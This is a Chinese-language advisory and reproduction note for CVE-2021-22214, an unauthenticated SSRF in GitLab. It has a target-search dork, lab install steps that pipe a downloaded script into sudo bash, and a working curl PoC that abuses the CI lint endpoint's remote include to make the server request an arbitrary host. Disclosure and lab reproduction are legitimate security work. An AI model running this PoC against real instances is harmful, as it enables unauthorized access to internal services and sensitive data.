漏洞描述
GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。
GitLab存在前台未授权SSRF漏洞,未授权的攻击者也可以利用该漏洞执行SSRF攻击(CVE-2021-22214)。该漏洞源于对用户提供数据的验证不足,远程攻击者可通过发送特殊构造的HTTP请求,欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。
影响范围
影响版本:从10.5开始的所有版本
安全版本:官方当前最新的13.12.2,13.11.5和13.10.5
Fofa Dork:
app="GitLab"
环境搭建
以cent0s为例
curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.rpm.sh | sudo bash
更新本地yum缓存:
sudo yum makecache
获取更新源中可安装所有的gitlab版本:
yum list gitlab-ce --showduplicates|sort -r
使用yum安装指定版本,例如13.12.1:
yum install gitlab-ce-13.12.1-ce.0.el7
默认配置安装gitlab:
gitlab-ctl reconfigure
漏洞复现
POC:
curl -s --show-error -H 'Content-Type: application/json' https://example.gitlab.com/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content": "include:\n remote: http://xx.xxx.xx.xx:port/api/v1/targets?test.yml"}'
漏洞修复
升级到安全版本:
GitLab 13.12.2 GitLab 13.11.5 GitLab 13.10.5
参考链接
http://cn-sec.com/archives/402399.html https://cloud.tencent.com/developer/article/1848531
请登录后查看回复内容